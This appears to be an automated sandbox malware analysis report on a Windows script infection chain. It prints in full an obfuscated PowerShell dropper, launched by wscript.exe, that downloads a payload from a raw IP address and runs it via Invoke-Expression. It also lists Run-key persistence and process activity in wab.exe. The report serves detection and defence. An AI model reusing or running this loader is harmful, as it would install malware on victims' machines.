cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5 Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 2_2_00007FF848F309E8 push E85E515Dh; ret 2_2_00007FF848F309F9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_00AF3AC3 push ebx; retf 5_2_00AF3ADA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_072808C2 push eax; mov dword ptr [esp], ecx 5_2_07280AC4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 5_2_07280AB9 push eax; mov dword ptr [esp], ecx 5_2_07280AC4
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2070B008 push es; iretd 9_2_2070B009
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2070225F pushad ; ret 9_2_207027F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207027FA pushad ; ret 9_2_207027F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_2070283D push eax; iretd 9_2_20702858
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_20709939 push es; iretd 9_2_20709940
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_207309AD push ecx; mov dword ptr [esp], ecx 9_2_207309B6
Source: C:\Windows\SysWOW64\AtBroker.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3FZ4SBL Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3FZ4SBL Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Program Files (x86)\Windows Mail\wab.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
